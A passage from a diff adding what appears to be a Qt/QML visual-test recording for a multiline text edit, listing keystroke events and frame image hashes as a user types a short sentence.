+ msec: 1904
+ hash: "fd070c77e33e1498bacf0076903d33d7"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1920
+ hash: "2ce31e62bfe5c1a62621fe4ea6bb07ab"
+ }
+ Frame {
+ msec: 1936
+ image: "usingMultilineEdit.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "2ce31e62bfe5c1a62621fe4ea6bb07ab"
+ }
+ Frame {
+ msec: 1968
+ hash: "2ce31e62bfe5c1a62621fe4ea6bb07ab"
+ }
+ Key {
+ type: 6
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1984
+ hash: "77f7b91dba63e20e92b47575ae2f1a85"
+ }
+ Frame {
+ msec: 2000
+ hash: "77f7b91dba63e20e92b47575ae2f1a85"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2016
+ hash: "77f7b91dba63e20e92b47575ae2f1a85"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2032
+ hash: "6c881ac1c94b6648ce1a2c39e477906c"
+ }
+ Frame {
+ msec: 2048
+ hash: "6c881ac1c94b6648ce1a2c39e477906c"
+ }
+ Key {
+ type: 7
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "6c881ac1c94b6648ce1a2c39e477906c"
+ }
+ Frame {
+ msec: 2080
+ hash: "6c881ac1c94b6648ce1a2c39e477906c"
+ }
+ Frame {
+ msec: 2096
+ hash: "6c881ac1c94b6648ce1a2c39e477906c"
+ }
+ Frame {
+ msec: 2112
+ hash: "6c881ac1c94b6648ce1a2c39e477906c"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2128
+ hash: "6c881ac1c94b6648ce1a2c39e477906c"
+ }
+ Frame {
+ msec: 2144
+ hash: "6c881ac1c94b6648ce1a2c39e477906c"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "8799a9ee6ae4334c0e595c75160cbb35"
+ }
+ Frame {
+ msec: 2176
+ hash: "8799a9ee6ae4334c0e595c75160cbb35"
+ }
+ Frame {
+ msec: 2192
+ hash: "8799a9ee6ae4334c0e595c75160cbb35"
+ }
+ Frame {
+ msec: 2208
+ hash: "8799a9ee6ae4334c0e595c75160cbb35"
+ }
+ Frame {
+ msec: 2224
+ hash: "8799a9ee6ae4334c0e595c75160cbb35"
+ }
+ Frame {
+ msec: 2240
+ hash: "8799a9ee6ae4334c0e595c75160cbb35"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2256
+ hash: "1947b07da95b6fb20dfa0189d2e099f4"
+ }
+ Frame {
+ msec: 2272
+ hash: "1947b07da95b6fb20dfa0189d2e099f4"
+ }
+ Frame {
+ msec: 2288
+ hash: "1947b07da95b6fb20dfa0189d2e099f4"
+ }
+ Frame {
+ msec: 2304
+ hash: "1947b07da95b6fb20dfa0189d2e099f4"
+ }
+ Frame {
+ msec: 2320
+ hash: "1947b07da95b6fb20dfa0189d2e099f4"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2336
+ hash: "1947b07da95b6fb20dfa0189d2e099f4"
+ }
+ Frame {
+ msec: 2352
+ hash: "1947b07da95b6fb20dfa0189d2e099f4"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "f4831fddbb6dccd2add6c381abe18ff5"
+ }
+ Frame {
+ msec: 2384
+ hash: "f4831fddbb6dccd2add6c381abe18ff5"
+ }
+ Frame {
+ msec: 2400
+ hash: "f4831fddbb6dccd2add6c381abe18ff5"
+ }
+ Frame {
+ msec: 2416
+ hash: "f4831fddbb6dccd2add6c381abe18ff5"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2432
+ hash: "f4831fddbb6dccd2add6c381abe18ff5"
+ }
+ Key {
+ type: 6
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "c8e601e39d6399c3bcbe99080e10e77b"
+ }
+ Frame {
+ msec: 2464
+ hash: "c8e601e39d6399c3bcbe99080e10e77b"
+ }
+ Frame {
+ msec: 2480
+ hash: "c8e601e39d6399c3bcbe99080e10e77b"
+ }
+ Frame {
+ msec: 2496
+ hash: "c8e601e39d6399c3bcbe99080e10e77b"
+ }
+ Frame {
+ msec: 2512
+ hash: "c8e601e39d6399c3bcbe99080e10e77b"
+ }
+ Frame {
+ msec: 2528
+ hash: "c8e601e39d6399c3bcbe99080e10e77b"
+ }
+ Key {
+ type: 7
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2544
+ hash: "c8e601e39d6399c3bcbe99080e10e77b"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "895b6084f9cd58d0746270468d037fc3"
+ }
+ Frame {
+ msec: 2576
+ hash: "895b6084f9cd58d0746270468d037fc3"
+ }
+ Frame {
+ msec: 2592
+ hash: "895b6084f9cd58d0746270468d037fc3"
+ }
+ Frame {
+ msec: 2608
+ hash: "895b6084f9cd58d0746270468d037fc3"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2624
+ hash: "895b6084f9cd58d0746270468d037fc3"
+ }
+ Frame {
+ msec: 2640
+ hash: "895b6084f9cd58d0746270468d037fc3"
+ }
+ Frame {
+ msec: 2656
+ hash: "895b6084f9cd58d0746270468d037fc3"
+ }
+ Frame {
+ msec: 2672
+ hash: "895b6084f9cd58d0746270468d037fc3"
+ }
+ Frame {
+ msec: 2688
+ hash: "895b6084f9cd58d0746270468d037fc3"
+ }
+ Key {
+ type: 6
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2704
+ hash: "ded3a272885f24140fb8d21835ae6b3a"
+ }
+ Frame {
+ msec: 2720
+ hash: "ded3a272885f24140fb8d21835ae6b3a"
+ }
+ Frame {
+ msec: 2736
+ hash: "ded3a272885f24140fb8d21835ae6b3a"
+ }
+ Frame {
+ msec: 2752
+ hash: "ded3a272885f24140fb8d21835ae6b3a"
+ }
+ Frame {
+ msec: 2768
+ hash: "ded3a272885f24140fb8d21835ae6b3a"
+ }
+ Frame {
+ msec: 2784
+ hash: "ded3a272885f24140fb8d21835ae6b3a"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2800
+ hash: "9339ea22fd115b8ae025c0b3a588ca1c"
+ }
+ Key {
+ type: 7
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2816
+ hash: "9339ea22fd115b8ae025c0b3a588ca1c"
+ }
+ Frame {
+ msec: 2832
+ hash: "9339ea22fd115b8ae025c0b3a588ca1c"
+ }
+ Frame {
+ msec: 2848
+ hash: "9339ea22fd115b8ae025c0b3a588ca1c"
+ }
+ Frame {
+ msec: 2864
+ hash: "9339ea22fd115b8ae025c0b3a588ca1c"
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2880
+ hash: "9339ea22fd115b8ae025c0b3a588ca1c"
+ }
+ Frame {
+ msec: 2896
+ image: "usingMultilineEdit.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "9339ea22fd115b8ae025c0b3a588ca1c"
+ }
+ Frame {
+ msec: 2928
+ hash: "9339ea22fd115b8ae025c0b3a588ca1c"
+ }
+ Key {
+ type: 6
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2944
+ hash: "1f219781fb7a7682d27cb875900d077a"
+ }
+ Frame {
+ msec: 2960
+ hash: "1f219781fb7a7682d27cb875900d077a"
+ }
+ Frame {
+ msec: 2976
+ hash: "1f219781fb7a7682d27cb875900d077a"
+ }
+ Key {
+ type: 7
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2992
+ hash: "20bd65f158440301e6cf14463e498368"
+ }
+ Frame {
+ msec: 3008
+ hash: "20bd65f158440301e6cf14463e498368"
+ }
+ Frame {
+ msec: 3024
+ hash: "20bd65f158440301e6cf14463e498368"
+ }
+ Frame {
+ msec: 3040
+ hash: "20bd65f158440301e6cf14463e498368"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3056
+ hash: "20bd65f158440301e6cf14463e498368"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3072
+ hash: "3e73d53051a3175393f4ecb486645bf9"
+ }
+ Frame {
+ msec: 3088
+ hash: "3e73d53051a3175393f4ecb486645bf9"
+ }
+ Frame {
+ msec: 3104
+ hash: "3e73d53051a3175393f4ecb486645bf9"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3120
+ hash: "3e73d53051a3175393f4ecb486645bf9"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 33554432
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3136
+ hash: "3e73d53051a3175393f4ecb486645bf9"
+ }
+ Frame {
+ msec: 3152
+ hash: "3e73d53051a3175393f4ecb486645bf9"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 33554432
+ text: "49"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3168
+ hash: "6f566097d23557bef60969852cd3515e"
+ }
+ Frame {
+ msec: 3184
+ hash: "6f566097d23557bef60969852cd3515e"
+ }
+ Frame {
+ msec: 3200
+ hash: "6f566097d23557bef60969852cd3515e"
+ }
+ Frame {
+ msec: 3216
+ hash: "6f566097d23557bef60969852cd3515e"
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 33554432
+ text: "49"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3232
+ hash: "6f566097d23557bef60969852cd3515e"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3248
+ hash: "4767592fe68e8d32d286cf5eaf4510ff"
+ }
+ Frame {
+ msec: 3264
+ hash: "4767592fe68e8d32d286cf5eaf4510ff"
+ }
+ Frame {
+ msec: 3280
+ hash: "4767592fe68e8d32d286cf5eaf4510ff"
+ }
+ Frame {
+ msec: 3296
+ hash: "4767592fe68e8d32d286cf5eaf4510ff"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3312
+ hash: "4767592fe68e8d32d286cf5eaf4510ff"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3328
+ hash: "d7fd1a19be4f061fc39c4accf18ba0dc"
+ }
+ Frame {
+ msec: 3344
+ hash: "d7fd1a19be4f061fc39c4accf18ba0dc"
+ }
+ Frame {
+ msec: 3360
+ hash: "d7fd1a19be4f061fc39c4accf18ba0dc"
+ }
+ Frame {
+ msec: 3376
+ hash: "d7fd1a19be4f061fc39c4accf18ba0dc"
+ }
+ Frame {
+ msec: 3392
+ hash: "d7fd1a19be4f061fc39c4accf18ba0dc"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3408
+ hash: "d7fd1a19be4f061fc39c4accf18ba0dc"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3424
+ hash: "03e74ddf4c94d322c1b1b35419157948"
+ }
+ Frame {
+ msec: 3440
+ hash: "03e74ddf4c94d322c1b1b35419157948"
+ }
+ Frame {
+ msec: 3456
+ hash: "03e74ddf4c94d322c1b1b35419157948"
+ }
+ Frame {
+ msec: 3472
+ hash: "03e74ddf4c94d322c1b1b35419157948"
+ }
+ Frame {
+ msec: 3488
+ hash: "03e74ddf4c94d322c1b1b35419157948"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 78
+ modifiers: 0
+ text: "6e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3504
+ hash: "32712a89ba577f55319fe90873668138"
+ }
+ Frame {
+ msec: 3520
+ hash: "32712a89ba577f55319fe90873668138"
+ }
+ Frame {
+ msec: 3536
+ hash: "32712a89ba577f55319fe90873668138"
+ }
+ Frame {
+ msec: 3552
+ hash: "32712a89ba577f55319fe90873668138"
+ }
+ Frame {
+ msec: 3568
+ hash: "32712a89ba577f55319fe90873668138"
+ }
+ Frame {
+ msec: 3584
+ hash: "32712a89ba577f55319fe90873668138"
+ }
+ Key {
+ type: 7
+ key: 78
+ modifiers: 0
+ text: "6e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3600
+ hash: "32712a89ba577f55319fe90873668138"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3616
+ hash: "9f1cf9784c0659f4902d632542fe9d52"
+ }
+ Frame {
+ msec: 3632
+ hash: "9f1cf9784c0659f4902d632542fe9d52"
+ }
+ Frame {
+ msec: 3648
+ hash: "9f1cf9784c0659f4902d632542fe9d52"
+ }
+ Frame {
+ msec: 3664
+ hash: "9f1cf9784c0659f4902d632542fe9d52"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3680
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3696
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3712
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3728
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3744
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3760
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3776
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3792
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3808
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3824
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3840
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3856
+ image: "usingMultilineEdit.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3888
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3904
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3920
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3936
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3952
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Frame {
+ msec: 3968
+ hash: "b350f3b710a0d36ba56bdce6c86f902e"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3984
+ hash: "2b44bf2548bd887f22e5689946e24de5"
+ }
+ Frame {
+ msec: 4000
+ hash: "2b44bf2548bd887f22e5689946e24de5"
+ }
+ Frame {
+ msec: 4016
+ hash: "2b44bf2548bd887f22e5689946e24de5"
+ }
+ Frame {
+ msec: 4032
+ hash: "2b44bf2548bd887f22e5689946e24de5"
+ }
+ Frame {
+ msec: 4048
+ hash: "2b44bf2548bd887f22e5689946e24de5"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4064
+ hash: "925c7c96166cc75dc92bd280fd354e43"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4080
+ hash: "925c7c96166cc75dc92bd280fd354e43"
+ }
+ Frame {
+ msec: 4096
+ hash: "925c7c96166cc75dc92bd280fd354e43"
+ }
+ Frame {
+ msec: 4112
+ hash: "925c7c96166cc75dc92bd280fd354e43"
+ }
+ Frame {
+ msec: 4128
+ hash: "925c7c96166cc75dc92bd280fd354e43"
+ }
+ Key {
+ type: 6
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4144
+ hash: "61d6f7583f143917b86adcad6a5ba909"
+ }
+ Frame {
+ msec: 4160
+ hash: "61d6f7583f143917b86adcad6a5ba909"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4176
+ hash: "61d6f7583f143917b86adcad6a5ba909"
+ }
+ Frame {
+ msec: 4192
+ hash: "61d6f7583f143917b86adcad6a5ba909"
+ }
+ Frame {
+ msec: 4208
+ hash: "61d6f7583f143917b86adcad6a5ba909"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4224
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Frame {
+ msec: 4240
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Key {
+ type: 7
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4256
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Frame {
+ msec: 4272
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4288
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Frame {
+ msec: 4304
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Frame {
+ msec: 4320
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Frame {
+ msec: 4336
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Frame {
+ msec: 4352
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Frame {
+ msec: 4368
+ hash: "679e0940be9c40435aebb05a6e0da685"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4384
+ hash: "e819d25f605ec1347e89de65682edb7d"
+ }
+ Frame {
+ msec: 4400
+ hash: "e819d25f605ec1347e89de65682edb7d"
+ }
+ Frame {
+ msec: 4416
+ hash: "e819d25f605ec1347e89de65682edb7d"
+ }
+ Frame {
+ msec: 4432
+ hash: "e819d25f605ec1347e89de65682edb7d"
+ }
+ Frame {
+ msec: 4448
+ hash: "e819d25f605ec1347e89de65682edb7d"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4464
+ hash: "e819d25f605ec1347e89de65682edb7d"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4480
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4496
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4512
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4528
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4544
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4560
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4576
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4592
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4608
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4624
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4640
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4656
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4672
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4688
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4704
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4720
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4736
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4752
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4768
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4784
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4800
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Frame {
+ msec: 4816
+ image: "usingMultilineEdit.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "ef65860a90a96d521a860c4e73e833ee"
+ }
+ Key {
+ type: 6
+ key: 63
+ modifiers: 33554432
+ text: "3f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4848
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 4864
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 4880
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 4896
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 4912
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 4928
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 4944
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Key {
+ type: 7
+ key: 63
+ modifiers: 33554432
+ text: "3f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4960
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 4976
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 4992
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5008
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5024
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5040
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5056
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5072
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5088
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5104
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5120
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5136
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5152
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5168
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5184
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5200
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5216
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5232
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5248
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5264
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5280
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5296
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5312
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5328
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5344
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5360
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5376
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5392
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5408
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5424
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5440
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5456
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5472
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5488
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5504
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5520
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5536
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5552
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5568
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5584
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5600
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5616
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5632
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5648
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5664
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5680
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5696
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5712
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5728
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5744
+ hash: "84497b5307b95f59693b71dc13c838ef"
+ }
+ Frame {
+ msec: 5760
